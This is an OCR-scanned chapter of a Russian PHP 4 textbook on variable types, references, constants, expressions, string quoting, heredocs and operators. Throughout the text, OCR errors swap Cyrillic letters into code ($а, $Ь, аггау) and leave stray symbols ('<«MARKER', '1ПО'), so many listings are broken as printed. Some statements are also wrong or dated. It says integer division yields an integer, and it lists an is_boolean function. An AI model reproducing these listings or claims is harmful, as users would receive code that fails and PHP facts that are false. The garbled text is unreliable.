Целое число со знаком, обычно длиной 32 бита (от —2 147 483 648 до
2 147 483 647, если это еще кому-то может быть интересно).

double

Вещественное число довольно большой точности (ее должно хватить для
подавляющего большинства математических вычислений).

string

Строка любой длины. В отличие от Си, строки могут содержать в себе также
и нулевые символы, что никак не повлияет на программу. Иными словами,
строки можно использовать для хранения бинарных данных. Длина строки
ограничена только размером свободой памяти, так что вполне реально про-
читать в одну строку целый "объемистый" файл размером так килобайтов
200—300 (что часто и делается). Строка легко может быть обработана при
помощи стандартных функций, можно также непосредственно обратиться к
любому ее символу.

----------------------- Page 134-----------------------
Глава 7. Переменные^ константы, выражения 119

array

Ассоциативный массив (или, как его часто называют, хэш, хотя для РНР
такое понятие совсем не подходит). Это набор из нескольких элементов,
каждый из которых представляет собой пару вида ключ=>значение
(символом => я обозначаю соответствие определенному ключу какого-то
значения). Доступ к отдельным элементам осуществляется указанием их
ключа. В отличие от массивов Си, ключами здесь могут служить не только
целые числа, начиная с нуля , но и любые строки. Например , вполне воз-
можно существование таких команд:

// создаст массив с ключами "О", "а", "Ь" и "с"

$a=array(0=>"zzzz", "a"=>"aaa", "b"=>"bbb", "c"="ccc");

echo $a["b"]; // выведет "bbb"

$a["l"]="qq"; // создаст новый элемент в массиве и присвоит ему "qq"
$а["a"]="new_aaa"; // присвоит существующему элементу "new_aaa" ;

Забегая вперед, скажу, что оператор array о создает массив, элементы ко-
торого перечислена в его скобках.

object

Объект, реализующий несколько наиболее простых принципов объектно-
ориентированного программирования . Внутренняя структура объекта похо-
жа на хэш , за исключением того, что для доступа к отдельным элементам и
функциям используется оператор ->, а не квадратные скобки. Про объекты
мы еще поговорим в будущем, когда разберемся наконец с основами языка.

Логические переменные

Существует и еще один гипотетический тип переменных — логический .
Логическая переменная может содержать одно из двух значений : fals e
(ложь) или true (истина). Любое ненулевое число (и непустая строка), а
также ключевое слово true символизирует истину, тогда как 0, пустая стро-
ка и слово fals e — ложь. Таким образом, любое ненулевое выражение (в
частности, значение переменной) рассматривается в логическом контексте
как истина. Вы можете пользоваться константами fals e и true в зависимо-
сти от логики программы.

Ключевые слова false и true — не совсем обычные константы. Раньше я го-
ворил, что fals e является просто синонимом для пустой строки, a true — для
единицы. Именно так они выглядят, если написать следующие операторы:

echo false ; // выводит пустую строку , т . е . ничего не выводит

echo true ; // выводит 1

Теперь давайте рассмотрим такую программу (листинг 7.1).

----------------------- Page 135-----------------------
1 20 _ Часть III. Основы языка PHP

Листинг 7.1. Логические величины

$а=100;

if ($a==100) echo "переменная равна 1!<Ьг> "

if ($a==true) echo "переменная истинна !<br>"

Если бы true была в точности равна константе 1, то вывелась бы только
первая строка, не правда ли? А отображаются обе. Это говорит о том, что не
все так просто. Мы видим, что в операторах сравнения (например, в опера-
торе сравнения на равенство ==, а также в операторах >, < и т. д.) РНР ин-
терпретирует один из операндов как логический , если другой также логиче-
ский. Следующий пример (листинг 7.2) показывает, что, вообще говоря,
РНР хранит для каждой переменной признак , является ли она логической.

! Листинг 7.2. Логические переменные

$а=100;

$b=true;

echo "а = $a<br>";

echo "b = $b<br>";

if($a==$b) echo 'а "равно" b ! ' ;

Как ни странно, но программа печатает, что "а=100 и Ь=Г, а затем с гордо-
стью заявляет, что "а равно />". Хотя в данном примере мы прекрасно пони-
маем, что так и должно быть (потому что на самом-то деле переменные
сравниваются как логические), поэтому будьте осторожны, когда вместо $а
используется, например, число, возвращенное функцией. Иначе это может
породить ошибку, которая "убьет" несколько часов на ее поиски.
Конечно, при выполнении арифметических операций над логической пере-
менной она превращается в обычную, числовую переменную. Однако при
написании этой книги я наткнулся на интересное исключение: по-
видимому, операторы ++ и — для увеличения и уменьшения переменной на
1 не работают с логическими переменными (листинг 7.3):

I Листинг 7.3. Особенности операторов ++ и —

$b=true;

----------------------- Page 136-----------------------
Глава 7. Переменные, константы, выражения _ 121

echo "b: $b<br>" ;

$b++;

echo "b: $b<br>" ;

Эта программа выводит оба раза значение 1, во всяком случае, в моей вер-
сии РНР 4.03.

( Замечание ^

Некоторые особенности работы с логическими переменными вполне могут из-
мениться в следующих версиях РНР. Их описание приведено здесь лишь с од-
ной целью: уберечь вас от возможных ошибок, которые трудно будет найти в
программе.

Действия с переменными

Вне зависимости от типа переменной, с ней можно делать три основных
действия .

Присвоение значения

Мы можем присвоить переменной значение другой переменной (или значе-
ние, возвращенное функцией), ссылку на другую переменную , либо же кон-
стантное выражение (за исключением объектов, для которых вместо этого ис-
пользуется оператор new) . Как уже говорилось, за преобразование типов
отвечает сам интерпретатор. Кроме того, при присваивании старое содержи-
мое и, что самое важное, тип переменной теряются, и она становится абсо-
лютно точной копией своего "родителя". То есть, если мы массиву присвоим
число, это сработает, однако весь массив при этом будет утерян.

Проверка существования

Можно проверить , существует ли (то есть, инициализирована ли) указанная
переменная. Осуществляется это при помощи оператора isSet о . Например:

if (IsSet ($MyVar ) )

echo "Такая переменная есть . Ее значение $MyVar" ;

Если переменной в данный момент не существует (то есть нигде ранее ей не
присваивалось значение , либо же она была вручную удалена при помощи
unset ( ) ), то isSet ( ) возвращает ложь, в противном случае — истину .

Важно помнить, что мы не можем использовать неинициализированную
переменную в программе — иначе это породит предупреждение со стороны
интерпретатора (что, скорее всего, свидетельствует о наличии логической

----------------------- Page 137-----------------------
122 Часть III. Основы языка PHP

ошибки в сценарии). Конечно, предупреждения можно выключить , тогда
все неинициализированные переменные будут полагаться равными пустой
строке. Однако я категорически не советую вам этого делать — уж лучше
лишняя проверка присутствия в коде, чем дополнительная возня с
"отлавливанием" возможной ошибки в будущем. Если вы все же захотите
отключить это злополучное предупреждение (а заодно и все остальные),
лучше использовать оператор отключения ошибок @, который действует ло-
кально (о нем мы тоже вскоре поговорим).

Уничтожение

Уничтожение переменной реализуется оператором Unset ( ) . После этого
действия переменная удаляется из внутренних таблиц интерпретатора, т. е.
программа начинает выполняться так, как будто переменная еще не была
инициализирована. Например :

// Переменной $а еще не существует

$a="Hello there!" ;

// Теперь $а инициализирована

// .. . какие-то команды , использующие $а

echo $a;

// А теперь удалим переменную $а

Unset ($а) ;

// Теперь переменной $а опять не существует

echo $a ; // Ошибка : нет такой переменной $а

Впрочем, применение Unset ( ) для работы с обычными переменными редко
бывает целесообразно. Куда как полезнее использовать его для удаления
элемента в ассоциативном массиве. Например , если в массиве $А нужно
удалить элемент с ключом for_dei , это можно сделать так:

Unset ($A["for_del"]) ;

Теперь элемент for_del не просто стал пустым, а именно удалился, и по-
следующий перебор элементов массива его не обнаружит.

Определение типа переменной

Кроме этих трех действий существуют еще несколько стандартных функций ,
которые занимаются определением типа переменных и часто включаются в
условные операторы. Вот они .

П is_integer ($а )

Возвращает true , если $а — целое число.

----------------------- Page 138-----------------------
Глава 7. Переменные, константы, выражения 123

О is_double ( $ a )

Возвращает true , если $а — действительное число.
П is_string($a )

Возвращает true , если $а является строкой.

П is_array($a )

Возвращает true , если $а является массивом.

О is_object($а )

Возвращает true, если $а объявлена как объект.

П is_boolean($а )

Возвращает true , если $а определена как логическая переменная.

П gettype($a)

Возвращает строки, соответственно, со значениями : array , object ,
integer, double, string , boolean ИЛИ unknown type В зависимости ОТ
типа переменной. Последнее значение возвращается для тех переменных,
типы которых не являются встроенными в РНР (а такие бывают, напри-
мер, при добавлении к РНР соответствующих модулей, расширяющих
возможности языка). Я на них останавливаться не буду, т. к. в будущем
наверняка появятся сотни таких модулей для РНР.

Установка типа переменной

Существует функция, которая пытается привести тип указанной переменной
к одному из стандартных (например, вам может понадобиться перевести
строку в целое число). Вот она.

settype($a,$type)

Функция пытается привести тип переменной $а к типу $type ($type — одна
из строк, возвращаемых gettype о, кроме boolean) . Если это сделать не
удалось (например, в $а "нечисловая" строка, а мы вызываем settype

($а, "integer")) , Возвращает false .

Оператор присваивания

Сильно не ошибусь, если скажу, что нет на свете такой профаммы, в кото-
рой не было бы ни одного оператора присваивания. И в РНР-программе
этот оператор, конечно же, тоже есть. Мы уже с ним встречались — это -
знак равенства =:

$имя переменной=значение ;

----------------------- Page 139-----------------------
•\24 Часть III. Основы языка РНР

Как видите, разработчики РНР пошли по линии Си в вопросе операторов
присваивания (и проверки равенства, которая обозначается ==), чем, я уве-
рен, привнесли свой вклад в размножение многочисленных ошибок. На-
пример, если в Си мы пишем

if(a=b ) { .. . }

вместо

if(a==b ) { .. . }

(пропуская ненароком один символ равенства), то компилятор выдаст нам
по крайней мере предупреждение. Иначе обстоит дело в РНР: попробуйте
как-нибудь на досуге написать:

$а=0; $Ь=1;

if($a=$b) echo "а и Ь одинаковы" ; else echo "а и b различны";

Интерпретатор даже не "пикнет" , а программа восторженно заявит, что "а и
b одинаковы", хотя это, очевидно, совсем не так (дело в том, что $а=$ь так
же, как и $а+$ь, является выражением, значение которого есть правая часть
оператора присваивания, равная в нашем примере 1).

Примечание

Почему разработчики РНР пошли таким путем, хотя, я уверен, отлично понимали
его недостатки (двух мнений тут быть просто не может)? Что бы им стоило вместо
= использовать (например, как в Паскале) : =, а вместо == — =? Я не знаю. Зато
знаю, что в РНР есть еще несколько "ляпов" (только давайте не будем разжигать
религиозных войн по поводу оператора == — каждый программист волен иметь
свое мнение), перенятых из Си. Так что призываю вас быть предельно внима-
тельными — тут могут поджидать очень даже неприятные сюрпризы.

Ссылочные переменные

Хотя в РНР нет такого понятия, как указатель (что, возможно, к лучшему, а
скорее всего — нет), все же можно создавать ссылки на другие переменные.
Существует две разновидности ссылок: жесткие и символические (первые
часто называют просто ссылками). Жесткие ссылки появились лишь в РНР
версии 4 (в третьей версии существовали лишь символические ссылки).

Жесткие ссылки

Жесткая ссылка представляет собой просто переменную, которая является
синонимом другой переменной. Многоуровневые ссылки (то есть, ссылка
на ссылку на переменную, как это можно делать, например, в Perl) не под-
держиваются. Так что, думаю, не стоит воспринимать жесткие ссылки серь-
езнее, чем синонимы.

----------------------- Page 140-----------------------
Глава 7. Переменные, константы, выражения 125

Чтобы создать жесткую ссылку, нужно использовать оператор & (амперсанд).
Например:

$а=10;

$Ь = &$а ; // теперь $Ь — то же самое , что и $а

$Ь=0; //н а самом деле $а=0

echo "b=$b, a=$a"; // выводит "Ь=0, а=0"

Ссылаться можно не только на переменные, но и на элементы массива
(этим жесткие ссылки выгодно отличаются от символических). Например:

$A=array('a' => 'aaa', 'b' => 'bbb');
$b=&$A['b']; // теперь $b — то же , что и элемент с индексом 'Ь' массива

$Ь=0; //н а самом деле $А['Ь']=0;
echo $A['b']/ // выводит О

Впрочем, элемент массива, для которого планируется создать символиче-
скую ссылку, может и не существовать. Как в следующем случае:

$А=аггау('а ' => ' ааа ' , 'b' => 'bbb');
$b=S$A[ ' с ' ] ; // теперь $Ь — то же , что и элемент с индексом 'с' массива

echo "Элемент с индексом 'с': (" . $А [ ' с ' ] . ") " ;

В результате выполнения этой программы, хотя ссылке $ь и не было ничего
присвоено, в массиве $А создастся новый элемент с ключом с и значени-
ем — пустой строкой (мы можем это определить по результату работы echo) .
То есть, жесткая ссылка на самом деле не может ссылаться на несущест-
вующий объект, а если делается такая попытка, то объект создается.

Замечание

Попробуйте убрать строку, в которой создается жесткая ссылка, и вы тут же полу-
чите сообщение о том, что элемент с ключом с не определен в массиве SA.

И все же, жесткая ссылка — не абсолютно точный синоним объекта, на ко-
торый она ссылается. Дело в том, что оператор unset о, выполненный для
жесткой ссылки , не удаляет объект, на который она ссылается, а всего лишь
разрывает связь между ссылкой и объектом.

Замечание

В этой трактовке любую переменную, даже только что созданную, можно рас-
сматривать как жесткую ссылку. Просто она — единственная, кто ссылается на
недавно построенный объект.

Итак, жесткая ссылка и переменная (объект), на которую она ссылается,
совершенно равноправны, но изменение одной влечет изменение другой.
Оператор unset о разрывает связь между объектом и ссылкой, но объект
удаляется только тогда, когда на него никто уже не ссылается.

----------------------- Page 141-----------------------
126 Часть III. Основы языка PHP

Жесткие ссылки удобно применять при передаче параметров функции и
возврате значения из нее. Как это делается, мы рассмотрим в главе, описы-
вающей возможности создания функций на РНР.

Символические ссылки

Символическая ссылка — это всего лишь строковая переменная , хранящая
имя другой переменной. Чтобы добраться до значения переменной, на ко-
торую ссылается символическая ссылка, необходимо применить оператор
разыменования — дополнительный знак $ перед именем ссылки. Давайте
разберем пример:

$а=10;

$Ь=20;

$с=30;

$р="а"; // или $р="Ь" или $р="с" (присваиваем $р имя другой переменной )

echo $$p ; // выводит переменную , на которую ссылается $р , т . е . $а

$$р=1ПО; /./ присваивает $а значение 100

Мы видим, что для того, чтобы использовать обычную строковую перемен-
ную как ссылку, нужно перед ней поставить еще один символ $.Это говорит
интерпретатору, что надо взять не значение самой $р, а значение перемен-
ной, имя которой хранится в переменной $р.
Все это настолько редко востребуется , что вряд ли стоит посвящать теме
символических ссылок больше внимания , чем это уже сделано. Думаю, ис-
пользование символических ссылок — лучший способ запутать и без того
запутанную программу, поэтому старайтесь их избегать, как огня.

Замечание

Возможно, тем, кто хорошо знаком с файловой системой Unix, термины
"жесткая" и "символическая" ссылка напомнили одноименные понятия, касаю-
щиеся файлов. Аналогия здесь почти полная. Об этом же говорят и сами раз-
работчики РНР в официальной документации.

Некоторые условные обозначения

Как мы уже знаем, в РНР нет необходимости указывать тип какой-либо пе-
ременной или выражения явно . Однако, как мы видели, с каждой величи -
ной в программе все же ассоциирован конкретный тип , который, впрочем,
можно поменять в процессе выполнения программы. Такие "подмены" будут
вполне осмысленными, если, например, мы к строке "20" прибавим число
10 и получим результат 30 (а не "2010") — это хороший пример того, как
РНР выполняет преобразования из числа в строку и наоборот.

----------------------- Page 142-----------------------
Глава 7. Переменные, константы, выражения 127

Но представьте себе, что мы хотим привести тип переменной $а к числу, а
она на самом деле — массив. Ясно, что такое преобразование лишено вся-
кого смысла — о чем вам и сообщит (в лучшем случае) РНР, если вы попы-
таетесь, например, прибавить $а к 10. А может и не сообщить (скажем, если
перевести массив в строку, то всегда получится строка "Array") . В то же
время, дальше, когда мы будем рассматривать стандартные функции и опе-
раторы РНР (которых, кстати, очень много), мне в большинстве мест при-
дется разъяснять, какой тип имеет тот или иной параметр функции или
оператора, причем все другие несовместимые с ним типы должны быть ис-
ключены. Также было бы полезным обозначить явно тип возвращаемого
значения функций. В этой связи я, подражая оригинальной документации
по РНР, буду указывать типы переменных и функций там, где это необхо-
димо, а также некоторые другие метасимволы. Вот пример описания функ-
ции ПО Имени FuncName:

<return_type> FuncName (<typel> $paraml [,<typel> $param2])

Функция делает то-то и то-то. Возвращает то-то.
Здесь должно быть приведено описание функции, возвращающей значение
типа <return_type> , и принимающей один или два аргумента (второй аргу-
мент необязательный, на что указывают квадратные скобки). Тип первого
параметра <typei> , а второго — <type2> . Описание возможных типов, кото-
рые я здесь выделил угловыми скобками, приводится в следующих подраз-
делах.

string

Обычная строка, или тип, который можно перевести в строку.

int, long

Целое число, либо вещественное число (в последнем случае дробная часть
отсекается), либо строка, содержащая число в одном из перечисленных
форматов. Если строку не удается перевести в int , то вместо нее подставля-
ется 0. и никаких предупреждений не генерируется!

double, float

Вещественное число, или целое число, или строка, содержащая одно из та-
ких чисел.

boot

Логический тип , который будет восприниматься либо как ложь (нулевое
число, пустая строка или константа false) , либо как истина (все остальное).

----------------------- Page 143-----------------------
128 Часть III. Основы языка PHP

Обычно редко указывается этот тип (вместо него пишут int , хотя это и не-
верно), но я все же постараюсь применять его там, где это возможно.

array

Массив, в общем случае ассоциативный (см. ниже). То есть набор пар
ключ=>значение. Впрочем, здесь может быть передан и список list .

list

Обычно это массив с целыми ключами, пронумерованными от 0 и следую-
щими подряд. Так как список является разновидностью ассоциативного мас-
сива, то обычно вместо параметров функций типа list можно подставлять и
параметры типа array . При этом, скорее всего, функция "ничего не заметит"
и будет работать с этим массивом как со списком, "мысленно" пронумеровав
его элементы. Можно также сказать, что список представляет собой упорядо-
ченный набор значений (который можно, например, отсортировать в порядке
возрастания), тогда как ассоциативный массив — упорядоченный набор пар
значений, каждую из которых логически бессмысленно разъединять.

object

Объект какой-то структуры. Обычно эта структура будет уточняться.

void

Пожалуй, самый простой тип, который применяется только для определе-
ния возвращаемого функцией значения, я бы его охарактеризовал так: "Не
возвращает ничего ценного". В РНР функция не может ничего не возвра-
щать (так уж он устроен), поэтому практически все void-функции возвра-
щают false (то есть пустую строку).

mixed

Все, что угодно. Это может быть целое или дробное число, строка, массив
или объект... Например, параметр типа mixed имеет стандартная функция
gettypeo или функция settypeo . Если написано, что функция возвращает
mixed, это значит, что тип результата зависит от операндов и уточняется при
описании функции.

Внимание

При написании функций ни в коем случае не набирайте эти имена типов! Они нужны
только для того, чтобы уточнить синтаксис какой-то функции. Хотя, возможно, в бу-
дущих версиях эти типы все же можно будет указывать явно. Что ж, посмотрим...

----------------------- Page 144-----------------------
Глава 7. Переменные, константы, выражения 129

Константы

Встречаются случаи, когда переменные довольно неудобно использовать для
постоянного хранения каких-либо определенных величин, которые не ме-
няются в течение работы программы . Такими величинами могут быть мате-
матические константы, пути к файлам, разнообразные пароли и т. д. Как
раз для этих целей в РНР предусмотрена такая конструкция, как константа.

Константа отличается от переменной тем, что, во-первых, ей нигде в про-
грамме нельзя присвоить значение больше одного раза, а во-вторых, ее имя
не предваряется знаком $, как это делается для переменных . Например :

// Предположим , определена константа PI, равная 3.146

$а=2.34*sin(3*PI/8)+5; // использование константы

echo "Это число PI"; // выведет "Это число PI"

echo "Это число ".PI; // выведет "Это число 3.14"

То, что не надо писать "доллар" перед именем константы — это, конечно
хорошо. Однако, как мы можем видеть из примера, есть и минусы: мы уже
не можем использовать имя константы непосредственно в текстовой строке.

Предопределенные константы

Константы бывают двух типов: одни — предопределенные (то есть устанав-
ливаемые самим интерпретатором), а другие определяются программистом.
Существуют несколько предопределенных констант.

П FILE_

Хранит имя файла программы, которая выполняется в данный момент.

П LINE_

Содержит текущий номер строки, которую обрабатывает в текущий мо-
мент интерпретатор. Эта своеобразная "константа" каждый раз меняется
по ходу исполнения программы .

П PHP_VERSION

Версия интерпретатора РНР.

П PHP_OS

Имя операционной системы, под которой работает РНР.

П TRUE или true

Эта константа нам уже знакома и содержит значение "истина".

О FALSE или fals e

Содержит значение "ложь".

----------------------- Page 145-----------------------
130 Часть III. Основы языка PHP

Определение констант

Вы можете определить и свои собственные, новые константы. Делается это
при помощи оператора define о, очень похожего на функцию. Вот как она
выглядит (заодно мы попрактикуемся в наших условных обозначениях для
описания синтаксиса вызова функции):

void define(string $name , string $value , bool $case_sen=true) ;

Определяет новую константу с именем , переданным в $name, и значением
$vaiue. Если необязательный параметр $case_sen равен true , то в даль-
нейшем в программе регистр букв константы учитывается, в противном слу-
чае — не учитывается (по умолчанию , как мы видим , регистр учитывается).
Созданная константа не может быть уничтожена или переопределена.

Например:

define("pi",3.14) ;

define("str","Test string") ;

echo s i n ( p i / 4 ) ;

echo str ;

Прошу обратить внимание на кавычки, которыми должно быть обрамлено
имя константы при ее определении. А также на то, что нельзя дважды опре-
делять константу с одним и тем же именем — это породит ошибку во время
выполнения программы.

Проверка существования константы

В РНР существует также функция , которая проверяет, существует ли (была
ли определена ранее) константа с указанным именем. Вот она.

bool defined(string $name )

Возвращает true , если константа с именем $name была ранее определена.

Впрочем, я ни разу не видел программы, которая задействовала бы эту воз-
можность. Но для полноты картины я эту функцию все-таки здесь привел .

Выражения

Выражения — это один из "кирпичей" , на которых держится здание РНР.
Действительно , практически все, что вы пишете в программе — это выра-
жение . Мне нравится следующее определение понятия "выражение": "нечто,
имеющее определенное значение" . И обратно: если что-то имеет значение ,
то это "что-то" есть выражение.

----------------------- Page 146-----------------------
Глава 7. Переменные, константы, выражения 131

Самый простой пример выражения — переменная или константа, стоящая,
скажем, в правой части оператора присваивания. Например, цифра 5 в опе-
раторе

$а=5;

есть выражение, т. к. оно имеет значение 5. После такого присваивания мы
вправе ожидать, что в $а окажется 5. Теперь, если мы напишем
$Ь=$а;

то, очевидно, в $ь окажется также 5, ведь выражение $а в правой части опе-
ратора имеет значение 5.

Посмотрим еще раз на этот пример. Помните, я говорил, что практически
все, из чего мы составляем программу — это выражения? Так вот, $ь=$а -
тоже выражение! (Впрочем, это не будет сюрпризом для знатоков Си или
Perl). Нетрудно догадаться, какое оно имеет значение: 5 (тут просто не мо-
жет быть никаких других вариантов, не правда ли?). А это значит, что мы
можем написать что-то типа следующих команд:

$а=($Ь=10); // или просто $а=$Ь=10

При этом переменным $а и $ь присвоится значение 10. А вот еще пример,
уже менее тривиальный:

$a=3*sin($b=$c+10)+$d;

Что окажется в переменных после выполнения этих команд? Очевидно, то
же, что и в результате работы следующих операторов:

$Ь=$с+10;
$a=3*sin($c+10)+$d;

Мы видим, что в РНР при вычислении сложного выражения можно (если
какая-то его часть понадобится нам впоследствии) задавать переменным
значения этой части прямо внутри оператора присваивания. Этот прием
может действительно сильно упростить жизнь и сократить код программы,
"читабельность" которой сохранится на прежнем уровне, так что советую им
иногда пользоваться.
Совершенно точно можно сказать, что у любого выражения есть тип его
значения. Например:

$а=10*20;
$Ь="".(10*20);
echo "$а:",gettype($а), " $b:",gettype($b) ;
// выведет "200:integer 200:string "

Чтобы преобразовать одно значение в другое (например, нам может не по-
нравиться, что $ь — типа string , хотя содержит целое число), используются

----------------------- Page 147-----------------------
132 Часть III. Основы языка PHP

операторы преобразования типов. Эти операторы доступны как в функцио-
нальной, так и в префиксной операторной форме. Например, следующие
две инструкции эквивалентны:

$а = intval($b) ;

$а = (int)$b ;

Итак, вот эти операторы:

П $b=intval(выражение ) или $b=(int)(выражение )

Переводит значение выражения в целое число и присваивает его $ь.

П $b=doubleval(выражение ) или $b=(double)(выражение )

Переводит значение в действительное число и присваивает его $ь.

П $b=strval(выражение ) или $b=(string)(выражение )

Переводит значение выражения в строку.

О $ b = ( b o o l ) ( в ы р а ж е н и е )

Преобразует значение выражения в логический тип. То есть, после вы-
полнения этого оператора в $ь окажется либо true , либо false .

Вообще-то, есть еще два хитроумных оператора (array ) и ( o b j e c t ) , но эти
операторы мы рассматривать не будем в силу их крайне слабой распростра-
ненности.

Логические выражения

Логические выражения — это выражения, у которых могут быть только два
значения: ложь и истина (или, что почти то же самое, 0 и 1). Что, поверили?
Напрасно — на самом деле абсолютно любое выражение может рассматри-
ваться как логическое в "логическом" же контексте (например, как условие
для конструкции if-eise) . Ведь, как уже говорилось, в качестве истины
может выступать любое ненулевое число, непустая строка и т. д., а под ло-
жью подразумевается все остальное.

Для логических выражений справедливы все те выводы, которые мы сделали
насчет логических переменных. Эти выражения чаще всего возникают при
применении операторов >, < и (равно), | | (логическое ИЛИ), &&
(логическое И), \ (логическое НЕ) и других. Например:

$а = 10<5; // $a=false

$а = $b==l; // $a=true , если $Ь=1

$а = $b>=l&&$b<=10 // $a=true , если $b в пределах от 1 до 10

$а = !($b||$c)&&$d ; // $a=true , если $b и $с ложны , a $d — истинно

----------------------- Page 148-----------------------
Глава 7. Переменные, константы, выражения 733

Как осуществляется проверка истинности той или иной логической пере-
менной? Да точно так же, как и любого логического выражения:

Sb = $а>=1&&$а<=10 ; // присваиваем $Ь значение логического выражения

if($b) echo "а в нужном диапазоне значений" ;

Строковые выражения

Строки в РНР — одни из самых основных объектов. Как мы уже говорили,
они могут содержать текст вместе с символами форматирования или даже
бинарные данные. Определение строки в кавычках или апострофах может
начинаться на одной строке, а завершаться — на другой. Вот пример, кото-
рый синтаксически совершенно корректен:

$а="Это текст , начинающийся на одной строке

и продолжающийся на другой ,

третьей и т . д.";

Я уже много раз использовал в примерах строковые константы, заключен-
ные как в кавычки, так и в апострофы. Настало время поговорить о том,
чем эти представления отличаются.

Строка в апострофах

Начнем с самого простого. Если строка заключена в апострофы (например,
'строка') , то она трактуется почти в точности так же, как записана, за ис-
ключением двух специальных последовательностей символов:

П последовательность \ ' трактуется РНР как апостроф и предназначена для
вставки апострофа в строку, заключенную в апострофы;

CJ последовательность \\ трактуется как один обратный слэш и позволяет
вставлять в строку этот символ.
Все остальные символы обозначают сами себя, в частности, символ $ не
имеет никакого специального значения (отсюда вытекает, что переменные
внутри строки, заключенной в апострофы, не интерполируются, т. е. их
значение не подставляется).

Строка в кавычках

По сравнению с апострофами, кавычки более "либеральны". То есть, набор спе-
циальных метасимволов, которые, будучи помещены в кавычки, определяют тот
или иной специальный символ, гораздо богаче. Вот некоторые из них:

П \п обозначает символ новой строки;

П \г обозначает символ возврата каретки;

П \t обозначает символ табуляции;

----------------------- Page 149-----------------------
134 Часть III. Основы языка PHP

П \$ обозначает символ $, чтобы следующий за ним текст случайно не был
интерполирован, как переменная ;

П \ " обозначает кавычку ;

П \\ обозначает обратный слэш;

П \хш обозначает символ с шестнадцатеричным кодом NN .

Переменные в строках интерполируются. Например:

$а="Не!1о";

echo "$a world! "

Этот фрагмент выведет Hello world!, - т.е . $а в строке была заменена на
значение переменной $а (этому поспособствовал знак доллара, предваряю-
щий любую переменную).

Давайте рассмотрим еще один пример.

$a="Hell"; // слово Hello без буквы "о"

echo "$ao world!" ;

Мы ожидаем , что выведется опять та же самая строка. Но задумаемся: как
РНР узнает, имели ли мы в виду переменную $а или же переменную $ао?
Очевидно, никак . Запустив фрагмент, убеждаемся, что он генерирует сооб-
щение о том, что переменная $ао не определена. Как же быть? А вот как:

$a="Hell"; // слово Hello без буквы "о"

echo $a."o world!" ; // один способ

echo "{$a}o world!" ; // другой способ

echo "${a}o world!" ; // третий способ !

Мы видим, что существует целых три способа преодолеть проблему. Каким
из них воспользоваться — дело ваше. Мне больше нравится вариант с {$а} ,
хотя он и введен в РНР лишь недавно .

Внимание

Последний пример показывает, что в некоторых контекстах и фигурные скобки
могут трактоваться как спецсимволы.

Неге-документ

В четвертой версии РНР появился и еще один способ записи строковых
констант, который исторически называется here-документом (встроенный
документ). Фактически он представляет собой альтернативу для записи
многострочных констант. Выглядит это примерно так:

$a=<«MARKER

Далее идет какой-то текст ,

----------------------- Page 150-----------------------
Глава 7. Переменные, константы, выражения 135

возможно, с переменными , которые интерполируются :

например , $name будет интерполирована здесь .

MARKER ;

Строка MARKER может быть любым алфавитно-цифровым идентификатором,
не встречающимся в тексте here-документа в виде отдельной строки. Син-
таксис накладывает 2 ограничения на here-документы:

П после <«MARKER и до конца строки не должны идти никакие непробель-
ные символы;

П завершающая строка MARKER,- должна оканчиваться точкой с запятой, по-
сле которой до конца строки не должно быть никаких инструкций.

Эти ограничения настолько стесняют свободу при использовании here-
документов, так что, думаю, вам стоит совсем от них отказаться. Например,
следующий код работать не будет, как бы нам этого ни хотелось (функция
strip_tags о удаляет тэги из строки):

echo strip_tags (<«EOD) ;

Какой-то текст с <Ь>тэгами </Ь> — этот пример НЕ работает !

EOD;

Надеюсь, в будущем разработчики РНР изменят ситуацию к лучшему , но
пока они этого не сделали.

Вызов внешней программы

Последняя строковая "константа" — строка в обратных апострофах (напри-
мер, 'команда') , заставляет РНР выполнить команду операционной системы
и то, что она вывела, подставить на место строки в обратных апострофах.
Вот так, например, мы можем в системе Windows узнать содержимое теку-
щего каталога, которое выдает команда dir :

$st='command.com/c dir~ ;

echo "<pre>$st</pre>" ;

Впрочем, если в настройках РНР установлен так называемый безопасный
режим, который ограничивает возможность запуска внешних программ
лишь некоторыми, указанная команда может и не сработать. Мы еще вер-
немся к запуску программ в следующей части этой книги.

Операции

На самом деле, к этому моменту вы уже знакомы практически со всеми
операциями над переменными и выражениями в РНР. И все же я приведу
здесь их полный список с краткими комментариями, заменяя выражения-
операнды буквами а и ь.

----------------------- Page 151-----------------------
136 Часть III. Основы языка PHP

Г Замечание )

В большинстве публикаций, как только разговор заходит о выражениях и опе-
рациях, проводят громоздкую и неуклюжую таблицу приоритетов (порядка дей-
ствий) и ассоциативности операторов. Пожалуй, я воздержусь от такой практи-
ки (ввиду ее крайней ненаглядности) и отошлю интересующихся к официальной
документации по РНР. Вместо этого я посоветую вам везде, где возможна хоть
малейшая неоднозначность, использовать скобки.

Арифметические операции

П а + ь — сложение

П а - ь — вычитание

П а * Ь — умножение

П а / ь — деление

П а % ь — остаток от деления а на ь

Операция деления / возвращает целое число (то есть, результат деления наце-
ло), если оба выражения а и ь — целого типа (или же строки, выглядящие как
целые числа), в противном случае результат будет дробным. Операция вычисле-
ния остатка от деления % работает только с целыми числами, так что примене-
ние ее к дробным может привести к, мягко говоря, нежелательному результату.

Строковые операции

П а. ь — слияние строк а и ь

П а [п ] - символ строки в позиции п

Собственно, других строковых операций и нет — все остальное, что можно
сделать со строками в РНР, выполняют стандартные функции .

Операции присваивания

Основным из этой группы операций является оператор присваивания =.
Еще раз напомню, что он не обозначает "равенство", а говорит интерпрета-
тору, что значение правого выражения должно быть присвоено переменной
слева. Например :

$а = ($Ь = 4) + 5;

После этого $а равно 9, а $ь равно 4.

Замечание

Обратите внимание на то, что в левой части всех присваивающих операторов
должна стоять переменная или ячейка массива.

----------------------- Page 152-----------------------
Глава 7. Переменные, константы, выражения 137

Помимо этого основного оператора, существует еще множество комбиниро-
ванных — по одному на каждую арифметическую, строковую и другую опе-
рацию. Например:

$а = 10;

$а += 4 ; // прибавить к $а 4

$s = "Hello";

$s .= " world!" ; // теперь в $s "Hello world! " .

Думаю , не стоит особо на них задерживаться.

Операции инкремента и декремента

Для операций $а+= 1 и $ь-=1 в связи с их чрезвычайной распространенно-
стью в РНР ввели , как и в Си, специальные операторы. Итак:

П $а++ — увеличение переменной $а на 1;

П $а уменьшение переменной $а на 1.

Как и в языке Си, эти операторы увеличивают или уменьшают значение
переменной, а в выражении возвращают значение переменной $а до изме-
нения. Например:

$а=10;

$Ь=$а++;

echo "a=$a , b=$b"; // выведет а=11 , Ь=10

Как видите, сначала переменной $ь присвоилось значение переменной $а, а
уж затем последняя была инкрементирована. Впрочем, выражение, значение
которого присваивается переменной $ь, может быть и сложнее — в любом
случае, инкремент $а произойдет только после его вычисления .

